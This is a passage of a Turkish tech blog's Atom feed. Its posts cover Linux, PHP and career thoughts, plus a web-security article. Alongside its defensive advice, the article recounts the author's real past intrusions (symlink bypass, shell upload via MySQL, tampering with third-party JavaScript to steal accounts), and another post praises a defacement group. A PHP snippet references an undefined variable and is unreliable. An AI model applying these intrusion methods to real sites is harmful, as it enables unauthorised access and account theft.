satın aldıklarından sonra pythonla tanıştı facebook.) gibi python'u kullanan pek çok yer var. Ülkemizde python'la yapılmış en kaliteli örnek Markafoni olarak gösterilebilir.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Konu 3&lt;/b&gt;,&lt;br /&gt;İlk 2 konu birbiriyle alakalı. Web teknolojileri. Ben web'i bıraksam mı diye düşünüyorum. C++'da geliştirsem kendimi, opensource hareketine mi katılsam diyorum. Tanıdığım kişiler, c++ bilgileri sayesinde açık kaynak kod projeleri ve kapalı kaynak kod projelerinde sağlam ücretler karşılığında geliştiricilik yapıyorlar. Bir kısmı yurtdışında çalışıyor. İngilizceyi sular seller gibi öğrenmek şart. Bu işi yapıyorsak bilicez zaten. C++ geliştiricisi mi olsak?&lt;br /&gt;&lt;br /&gt;Kafamı kurcalayan saçma sapan konular bunlar. Python çalışıyorum. PHP'den tamamen kurtulmak gerektiğine inanıyorum. Gerçi php bitmez ama kurtulmak şartt. Herkes php ci olmuş. Para kazanılmıyor o yüzden. Bilinmeyen birşeyin üzerine düşeceğim. İleri de belki sektör değiştirip gui programlamaya geçerim kim bilir ?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-1459750556970971968?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/1459750556970971968/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/sacma-sapan-konular-vol1.html#comment-form' title='4 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/1459750556970971968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/1459750556970971968'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/sacma-sapan-konular-vol1.html' title='Saçma sapan konular - vol1'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-8788027421227965551</id><published>2012-01-13T12:24:00.000-08:00</published><updated>2012-01-14T15:22:43.364-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Xfce kullanımı artıyor</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-RnWRnPjJxsk/TxCUh4HXj9I/AAAAAAAAAOI/Z_aQ8SOYoB4/s1600/Ekran+g%25C3%25B6r%25C3%25BCnt%25C3%25BCs%25C3%25BC+-+13-01-2012+-+22%253A29%253A52.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="110" src="http://3.bp.blogspot.com/-RnWRnPjJxsk/TxCUh4HXj9I/AAAAAAAAAOI/Z_aQ8SOYoB4/s200/Ekran+g%25C3%25B6r%25C3%25BCnt%25C3%25BCs%25C3%25BC+-+13-01-2012+-+22%253A29%253A52.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;Linus Torvalds, Gnome için saçma sapan şeyler söylemişti. Kde4 çıkınca tekrar Gnome'a dönen Linus, Gnome3'ün çıkmasıyla birlikte Xfce arayüze dönmüş. Yani demek oluyor ki, Gnome3 pek sevilmedi. Hemde linuxun yaratıcısı tarafınadan da :D&lt;br /&gt;&lt;br /&gt;Bu arada ofisteki programcı arkadaşım Serdar'da linux kurmaya karar verdi. Ne mutlu bana.&lt;br /&gt;&lt;br /&gt;Linus'un açıklaması&amp;nbsp;&lt;a href="https://plus.google.com/106327083461132854143/posts/SbnL3KaVRtM"&gt;https://plus.google.com/106327083461132854143/posts/SbnL3KaVRtM&lt;/a&gt;&amp;nbsp;burada. Yorumları okuyun.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-8788027421227965551?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/8788027421227965551/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/xfce-kullanm-artyor.html#comment-form' title='2 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8788027421227965551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8788027421227965551'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/xfce-kullanm-artyor.html' title='Xfce kullanımı artıyor'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-RnWRnPjJxsk/TxCUh4HXj9I/AAAAAAAAAOI/Z_aQ8SOYoB4/s72-c/Ekran+g%25C3%25B6r%25C3%25BCnt%25C3%25BCs%25C3%25BC+-+13-01-2012+-+22%253A29%253A52.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-6588277687814946799</id><published>2012-01-12T00:38:00.000-08:00</published><updated>2012-01-12T00:38:02.711-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='internet'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>TurkGuvenligi - 2011 yılı en iyi deface grubu seçildi</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-3CpFmkdD_Xc/Tw6bwj025zI/AAAAAAAAANw/ZuB4-R6o4HI/s1600/fdd7a261.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="100" src="http://2.bp.blogspot.com/-3CpFmkdD_Xc/Tw6bwj025zI/AAAAAAAAANw/ZuB4-R6o4HI/s200/fdd7a261.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;TurkGuvenligi tayfası, TheHackerNews'e göre 2011 yılının en iyi web deface grubu seçildi. Büyük firmaların domainlerini hackleyen grup, dünyada büyük ses getirmişti. Domain firmalarına sql injection metodu ile sızılmıştı.&lt;br /&gt;&lt;br /&gt;Ayrıca açıklanan listede; bir çok kategori de çeşitli hacking grupları bulunmakta.&amp;nbsp;Eski bir TurkGuvenligi elemanı olarak, Kendilerini tebrik ediyorum. Her ne kadar son zamanlarda pek aktif gözükmeseler de, başarılarının devamını diliyorum.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Kaynak;&lt;/b&gt;&lt;br /&gt;&lt;a href="http://thehackernews.com/2012/01/hacker-news-hacking-awards-best-of-year.html"&gt;http://thehackernews.com/2012/01/hacker-news-hacking-awards-best-of-year.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-6588277687814946799?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/6588277687814946799/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/turkguvenligi-2011-yl-en-iyi-deface.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6588277687814946799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6588277687814946799'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/turkguvenligi-2011-yl-en-iyi-deface.html' title='TurkGuvenligi - 2011 yılı en iyi deface grubu seçildi'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-3CpFmkdD_Xc/Tw6bwj025zI/AAAAAAAAANw/ZuB4-R6o4HI/s72-c/fdd7a261.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-6640405549741680835</id><published>2012-01-12T00:00:00.000-08:00</published><updated>2012-01-22T09:53:24.650-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Php - İki diziyi karşılaştırma, ortak değerler</title><content type='html'>Selam,&lt;br /&gt;&lt;br /&gt;Php'de iki diziyi karşılaştırmak için aşağıda ki örnek kodları inceleyebilirsiniz.&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;// artiktek.blogspot.com&lt;br /&gt;&lt;br /&gt;$dizi1 = array('isim'=&amp;gt;'Gökhan', 'isim2'=&amp;gt;'Saim');&lt;br /&gt;$dizi2 = array('isim'=&amp;gt;'Gökhan', 'isim2'=&amp;gt;'Saim');&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// yeni dizi, dizi1 ile dizi2 nin ortak değerlerinden oluşur.&lt;br /&gt;$yeni_dizi = array_intersect($dizi2, $dizi);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// print_r($yeni_dizi);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// burada ortak dizinin toplam sayısı ile dizi1 ve dizi2 nin sayılarını kontrol ediyoruz.&lt;br /&gt;if (count($yeni_dizi) == count($dizi1) &amp;amp;&amp;amp; count($yeni_dizi) == count($dizi2)){&lt;br /&gt;&lt;br /&gt; echo 'iki dizi birbirine eşit.';&lt;br /&gt;&lt;br /&gt;}else{&lt;br /&gt;&lt;br /&gt; echo 'iki dizi birbirine eşit değil.';&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;br /&gt;İki dizi arasında ortak değerleri tek bir diziye atan fonksiyonumuz&amp;nbsp;array_intersect();&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-6640405549741680835?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/6640405549741680835/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/php-iki-diziyi-karslastrma-ortak.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6640405549741680835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6640405549741680835'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/php-iki-diziyi-karslastrma-ortak.html' title='Php - İki diziyi karşılaştırma, ortak değerler'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-7249595085512345257</id><published>2012-01-07T15:01:00.000-08:00</published><updated>2012-01-22T09:50:14.191-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Hayat, linux ve programlama</title><content type='html'>&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-lXRuNa_GnaQ/TwjM_vGXGVI/AAAAAAAAANE/f1ELgaapsOI/s1600/Ekran+g%25C3%25B6r%25C3%25BCnt%25C3%25BCs%25C3%25BC+-+08-01-2012+-+00%253A25%253A42.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="110" src="http://4.bp.blogspot.com/-lXRuNa_GnaQ/TwjM_vGXGVI/AAAAAAAAANE/f1ELgaapsOI/s200/Ekran+g%25C3%25B6r%25C3%25BCnt%25C3%25BCs%25C3%25BC+-+08-01-2012+-+00%253A25%253A42.png" width="200" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Xubuntu 11.04&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;2012'ye girmişiz omg. Bu seneden beklentilerim var. Herşey benim için değişebilir. Değişmesede canı sağolsun. Geçen yıl olduğu gibi iğrenç geçmesede yeterli. Günlerden cumartesi akşamı ve tatil günü. En sevdiğim zaman. Sabaha kadar takılır ve pazar günü öğlene kadar uyurum. Şu aralar uyumaya gerçekten çok ihtiyacım var. Haftanın yorgunluğu ve sabah erken kalkmak koyuyor adama. Adam akıllı dinleneceğim bu haftasonu. Şuan linux'umla başbaşayım. Ne zamandır &amp;nbsp;açmıyordum bilgisayarımı. Bugün birazcıkta olsa elden geçirmeye karar verdim. Önceliğim bir wallpaper bulmak oldu. Sonra, Netbeans php ide'yi sildim. Onun yerine Eclipse pdt'nin indigo versiyonunu kurdum (3.0). Zend ile birlikte yapmışlar sanırım. Zendin logosu felan var açılışta. Tam inceleyemedim ama php'nin yanında javascript kodlarınıda tamamlıyor. Firefox'un linux versiyonu güncellenmiyormu ne tav ediyordu beni. Onuda tamamen sildim ve kurtuldum. Chromium browser'ı da sildim. Onun yerine google.com/chrome Google Chrome debian sürümünü indirdim ve kurdum. Chromium her ne kadar Chrome sourcesi ile yapılmış olsa da eksikleri vardı ve oda firefox gibi geç güncelleniyordu. En iyisi ve en günceli resmi Google Chrome tarayıcısı.&lt;br /&gt;&lt;br /&gt;Boş zamanlarımda kendime kişisel bir framework yazmaya başladım. Codeigniter'dan esinlendim biraz. İsmine gMvc diyorum. Model View Controller işlemlerinin yanında, yardımcı fonksiyonlar (helper) var. İster sayfaya model çağırır gibi helper'ı load ediyorsunuz, isterseniz config dosyasından autoload ettirebiliyosunuz. gMvc 2 core sınıfından oluşuyor. Çok basit, bir o kadarda sağlam bir yapı oldu. gMvc_Boot sınıfı ile ilgili controller dosyası yükleniyor ve o controller dosyası gMvc sınıfına extends ediliyor. gMvc sınıfında da işte view model vb. işlemler gerçekleşiyor. Bu mvc konusunda detaylı bir makale yazıcamda üşeniyorum biraz.&lt;br /&gt;&lt;br /&gt;Linux masaüstü görüntüm yukarıda. Sevgiler.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-7249595085512345257?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/7249595085512345257/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2012/01/hayat-linux-ve-programlama.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7249595085512345257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/7249595085512345257'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2012/01/hayat-linux-ve-programlama.html' title='Hayat, linux ve programlama'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-lXRuNa_GnaQ/TwjM_vGXGVI/AAAAAAAAANE/f1ELgaapsOI/s72-c/Ekran+g%25C3%25B6r%25C3%25BCnt%25C3%25BCs%25C3%25BC+-+08-01-2012+-+00%253A25%253A42.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-8714177139885529346</id><published>2011-12-27T05:01:00.000-08:00</published><updated>2011-12-27T05:55:56.600-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Sistemlerin büyük sorunları, Web güvenliği</title><content type='html'>Selam,&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Bu makale &lt;a href="http://artiktek.blogspot.com/"&gt;artiktek.blogspot.com&lt;/a&gt;&amp;nbsp;&lt;b&gt;BLaSTER&amp;nbsp;&lt;/b&gt;tarafından yazılmıştır. 7'den 77'ye herkesin anlayabileceği seviyede yazmaya çalıştım. Az bişey kodlama ve sunucu bilgisi gerektirecektir. Bu yüzden bu işlerden anlamayan kişilerin bu makale ile karşılaştıklarında işi bilen kişilere &lt;b&gt;kaynak göstererek&lt;/b&gt; paylaşmasında hiç bir sıkıntı yoktur.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-ja2MDrDE7Ys/TvnGefAH0sI/AAAAAAAAALU/WFcovK8Z5NY/s1600/hacker.jpg" imageanchor="1" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="150" src="http://1.bp.blogspot.com/-ja2MDrDE7Ys/TvnGefAH0sI/AAAAAAAAALU/WFcovK8Z5NY/s200/hacker.jpg" width="200" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Hackerlar böyle değildir korkmayın :D&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Web güvenliği hakkında sistemlerin nasıl daha güvenli olması gerektiğine tecrübelerimden yola çıkarak anılarımla birlikte ışık tutmaya çalıştım. Anlatacağım şeyler %100 doğru olmayabilir. %100 güvenlik diye birşey iddaa etmiyorum zaten. 6 yıllık hacking tecrübelerime dayanarak anlatacağım şeylerle alacağınız önlemler sitenizin güvenliğine katkı sağlayacaktır. Güvenlik işlemleri, kodlama, sunucu, insan vs. herşeyi kaspayacaktır. Anlatımımda php dilini kullanacağım için asp, aspx, python veya ruby dillerini kullananlarda teorik olarak birşeyler öğrenebilir. Aynı şey sunucular içinde geçerlidir. Linux veya windows olsun hiç farketmez.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Nasıl daha güvenli kod yazarım?&lt;/b&gt;&lt;br /&gt;Kullanıcı ile alışveriş yapılan durumlarda (get,post,request vb.) işlemlerde, sql injection saldırılarını önlemeniz için sayısal işlemler yapılacak değişkenlerin integer, float vb. şekilde belirtmeniz gerekiyor. Sql denemelerinde girilen stringler kabul edilmeyecektir. mysql_real_escape_string() fonksiyonu kullanmanızda yeterli olacaktır. Gerçi bu fonksiyon bypasslanabiliyor. Uzman bir saldırgan eğer sitenize kafayı taktıysa işiniz zor olabilir. Xss atakları için htmlspecialchars() veya strip_tags() fonksiyonlarını kullanmanız yeterlidir. Xcsrf ataklarına karşı en azından bir &lt;a href="http://artiktek.blogspot.com/2011/12/php-captcha-guvenlik-kodu.html"&gt;güvenlik doğrulaması&lt;/a&gt; kullanın. Size çaktırmadan link yedirebilir ve haberiniz olmadan iframe sayesinde panelinizde bulunan atıyorum haber ekleme formunu düşünün, burdaki inputları ilgili adrese post ettirip sisteme izinsiz haber ekleyebilirler yada ne biliyim şifrenizi değiştirebilirler. Yapılacak şeyde sınır yoktur. Bunların olmaması için &lt;a href="http://artiktek.blogspot.com/2011/12/php-captcha-guvenlik-kodu.html"&gt;captcha&lt;/a&gt;&amp;nbsp;kullanmanızı öneririm. Kullandığınız yazılım dilinin son versyonunu kullanmaya özen gösterin. Güvenlik raporları tutan sitelerde gezinin ve kullandığınız dilde ki güvenlik açıklarını takip edin. Php mail fonksiyonunda bypass vardı bir ara. Bunun önlemlerini takip edin gibi gibi. Olabildiğince cookie kullanmamaya dikkat edin. Session kullanmak hem daha basit hemde daha güvenlidir bana göre. Session kullanın işlerinizde. Bir diğer dikkat edilecek konu ise, biraz programlama bilgisi gerektirebilir fakat kişisel güvenlik açısından en çok karşılaştığım sorunlardan bir tanesiydi. Örneğin bir özel mesaj sistemi düşünün. Database yapısı; mesajId, mesaj, gonderenId, gidenId şeklinde olsun. 1 numaralı mesajımız Ahmet abiye gitmiş olsun. bende Gökhanım. mesaj.php?id=1 denildiğinde bu mesajı kendi panelimden okuyabiliyorum. Bunda bir sorun yok. 2 numaralı mesajda Osman abiye gitmiş olsun. Oda panelinden mesaj.php?id=2 şeklinde okuyabiliyor. Şimdi ben Gökhan kullanıcısından mesaj.php &amp;nbsp;linki ile oynayarak örnek mesaj.php?id=2 yaparak Osman abiye gelen mesajı rahatlıkla okuyabilirim. Bu hataya düşen sitelerde, kendi profil düzenleme sayfamdan hidden input olabilir post edilen url olabilir kendi id numaramı değiştirerek başka insanların bilgilerini de onlardan habersiz değiştirebilirim. İşte bu tarz sorunlarla karşılaşmamak için örnek verdiğim database yapısında ki gidenId kolonunuda where sorgusuna sokmanız gerekiyor. Bu şekilde kimse kendisini ilgilendirmeyen mesajları okuyamayacaktır. Admin panel bilgilerini sakın ama sakın kimselerle paylaşmayın. Chrome Firefox gibi tarayıcılar kullanın. Ie gibi dandik tarayıcılar kullanmayın yöneticiler.Stealer trojan gibi zararlı exe leri download ettirebiliyorlar java ile. 7 sülalenizin şifrelerini çekebilirler. Admin panel yoluna admin yonetici gibi isimler vermeyin. Oldu ki birisi şifrenizi aldı panelinizi bulamasın. Paneldeki upload işlemlerinde uzantıları kontrol edin. Öyle herşeyi cuk diye upload ettirmeyin. Yoksa izinsiz dosyalar (shell, list-path vb.) yükleyebilirler. Kodlama alanında güvenlik bunlardan ibaret bana göre. Gerisi faso fiso.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Nasıl daha güvenli sunucu? Hackerlar nasıl hackliyor bu sunucuları?&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-wDucCoEP5cc/TvnN1IZ5QcI/AAAAAAAAALg/Dy1hS5QEnqE/s1600/interesting-animalm%252C-owl-funny-expression-%252833%2529.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="133" src="http://4.bp.blogspot.com/-wDucCoEP5cc/TvnN1IZ5QcI/AAAAAAAAALg/Dy1hS5QEnqE/s200/interesting-animalm%252C-owl-funny-expression-%252833%2529.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;Şimdi bir level yukarı çıkıyoruz. Kodlama bakımından güvenlik önelemlerini aldığınızı varsayıyorum. Yinede web siteleriniz hackleniyorsa, sorun sunucudan kaynaklanıyor olabilir. Yol geçen hanına dönmüş hosting firmalarından paket hostingler almayın. Örneğin sitenize cmd yada konsoldan ping atın. &lt;b&gt;ping artiktek.blogspot.com&lt;/b&gt; çıkan ip adresini bing arama motorunda kullanarak &lt;b&gt;ip:127.0.0.2&lt;/b&gt; tarzında bir aramaya tutun. Bingin google'a göre en iyi özelliği ip bazlı aramasıdır. Bu yüzden illegal takılan kişiler hedefine rahatça ulaşabiliyor. Süper güvenli bir script yazdınız ve x bir hosting firmasından hosting aldınız. Bir saldırgan bu hostingde barınan bir çok siteyi tarayabilir ve bulduğu bir güvenlik açığı ile sizin sitenizide hackleyebilir. Tahribat ve Ceviz.net'de takılan &lt;b&gt;Zumsuk (ayro)&lt;/b&gt; bu şekilde hacklenmişti. Kişisel blogu ve yapay zeka botu bu şekilde wareze düşürmüştük. Bu yaptığımız işlem biraz karışıktı. Scriptini tekrar düzenleyip yayına aldığında bir defa daha index yemişti. Uzun bir süre forumlarda ki konularını takip ettim ve bir çözüm üretemediğini gördüm. Aslında çözüm üretmişti. Kodlamasıda fena değildi. Fakat sunucu kurbanı oldu. Symlink bypass ile başka bir site sahibi üzerinden zumsuk'un dizinini çektik ve config bilgilerini okuyarak mysql'e bağlandık. Mysql üzerinden zumsuk'un dizinine bir dosya oluşturarak (upload formu) shell'imizi dizinine yükledik. Artık zumsuk kullanıcısı ile herşeyi yapabiliyorduk. Ha bu r57 c99 gibi şeyler de değil. Artık firewall'lar o tarz dosyaların yüklenmesine izin vermiyor. Biz perl de yazılmış bir dosya ile (.htaccess sayesinde çalıştırabildik) tüm dosyalarını editleyebilir konuma geldik. Denk gelir okursan bu makaleyi herşey eskide kaldı. Herneyse konumuza geri dönelim. Sitemizin barındığı sunucuda 100 adet sitenin olduğunu varsayalım. Bunların %60'ı hazır sistem olsun. Diğer %40'ı ise özel kodlama siteler. Hazır sistemlerde bir çok güvenlik açığı var bunları geçtim %40'lık sitelerin %95'inde çok büyük açıklar vardır. Bu açıkları kullanarak sql inj. olsun yada başka bir şey olsun. Siteye evil sheller yüklendiğinde çeşitli işlemler yapılarak dizinler okunabiliyor. O siteyi geçtim diğer sitelerinde dizinlerini okuyabiliyoruz. Örneğin linuxda sağlam bir symlink bypass yöntemi vardı. &lt;b&gt;ln -s&lt;/b&gt; ile kullanıcının dizinine başka bir kullanıcının dizinini çekip dosyalarını okuyabilir ve sisteminiz hacklenebilir. Bu yüzden her firmadan hosting almayın. En azından bir vps alın ve sadece sizin siteniz olsun üzerinde.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Domainler hacklenir mi?&lt;/b&gt;&lt;br /&gt;Hiç bir site sahibi domainine önem göstermez. Gerçi şu zamanda artık sağlam domain firmaları tercih ediliyor. Turkguvenligi zamanında bir çok büyük!! web siteyi domain paneline girerek deface etmiştik. Ferruh Mavituna değilde onu sql injection ile hacklemiştik. Arkadaşı Hüzeyfe Onal (istsec), Teakolik vs. bunar domain maduru oldu. Yukarıda anlattığım kodlama güvenliği domain firmalarını içinde büyük bir sorundur. Bir çoğu eski sistemlerini maliyetin yüksek olacağı için yenilettirmiyor. Bir ton bug kaynıyor. Hep demişimdir hacking domino taşları gibidir. Ufak bir sarsıntı taşların alayına mal olacaktır. İşte bu hesap domain firmasının güvenliğide. Domain firmasının paneline girilerek (bknz google gibi büyük firmaların domainlerine girildi) ns bilgilerini yönlendirip sayfayı farklı bir sunucuya yönlendirebilirler. Bu yüzden aman dikkat edelim çok sağlam bir domain firması ile çalışın. Bu domain firmalarının bayilik sistemleri var. Üst bayi alt bayi vs. Domain firmasında açık yoksa bile, bir üst bayisine bu işlemler tekrarlanarak gidebilir. Yani bi yerde patlak verilirse gerisi ip söküğü gibi gelecektir. Güvenli sunucuda anlattığım konular domain firmaları içinde geçerlidir.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. parti illetler&lt;/b&gt;&lt;br /&gt;Sayfanıza reklamlar, müzikler, videolar, destek bannerları yüklüyosunuz. Yada ücretsiz sayaç servisi gibi javascript dosyaları çekebiliyorsunuz. Bu anlatacağım yol ile büyük bir oyun sitesi hacklenmiştir. Bu konuda tecrübelerime dayanarak konuşuyorum. Farklı bir domainden sayfaya javascript çekmişlerdi. Bizde bu javascript çekilen sunucuya sızarak ilgili dosyaya ufak bir kod ekleyerek büyük bir oyun firmasını madur etmiştik. Baya bir oyun accountu bu şekilde çalındı. Aman dikkat edelim bunlara. Olabildiğince güvenli olmayan yerlerden sitelerinize birşeyler yüklemeyin. Resim bile olsa.&lt;br /&gt;&lt;br /&gt;Güvenlik hakkında yazdığım makale şimdilik bu kadar. Biraz uzun mu oldu ne ama faydalı bilgiler. Ha bu arada yukarıdaki resimde bulunanlar gibi değildir hackerlar. Gözünüzde büyütmemek gerekir. Bakın keyfinize.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-8714177139885529346?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/8714177139885529346/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/12/sistemlerin-buyuk-sorunlar-web.html#comment-form' title='3 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8714177139885529346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/8714177139885529346'/><link rel='alternate' type='text/html' 